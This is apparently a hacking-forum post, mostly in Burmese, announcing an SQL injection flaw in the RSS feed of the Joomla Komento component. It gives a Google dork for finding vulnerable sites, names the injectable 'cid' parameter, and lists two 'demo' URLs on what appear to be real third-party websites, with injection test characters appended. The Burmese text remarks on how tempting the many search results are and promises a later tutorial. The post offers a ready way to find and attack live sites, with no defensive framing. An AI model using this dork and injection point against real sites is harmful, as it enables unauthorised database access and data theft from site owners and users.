Joomla component komento Sql Inection Vulnerability

Google Dork:

  inurl:component/komento/

Search

About 15,900 results (0.27 seconds)

ကဲ  ေဘာ္ဒါတုိ ့ results ကိုျမင္တယ္ေနာ္ သေရက်စရာၾကီးေပ့ါ...
Joomla sql injection နည္းေလးျဖစ္ပါတယ္.. sql injection ဆရာေတြအတြက္ေတာ့
စေပ်ာ့ ေလးလုိ ့ထင္ခ်င္ထင္ပါမယ္ .. ကြ်န္ေတာ့္အတြက္ကေတာ့ ထင္သေလာက္မလြယ္လွပါဘူး..
sql injection မတတ္ေသးသူမ်ားအတြက္လည္းေနာက္ပုိင္း blog တစ္ခု တင္ေပးသြားပါ့မယ္..
စမ္းဖုိ ့ေအာက္က လင့္ေလးေတြတင္ေပးလုိက္ပါတယ္

 Vulnerability is in Rss Feed :

 component/komento/?view=rss&format=feed&component=com_content&cid=[id][sql

injection]

D3M0 :

  

 http://keep-it-sexy.com/component/komento/rss?format=feed&component=com_content&cid=152%27

  

 http://www.bonyannew.ir/component/komento/?view=rss&format=feed&component=com_content&cid=52%27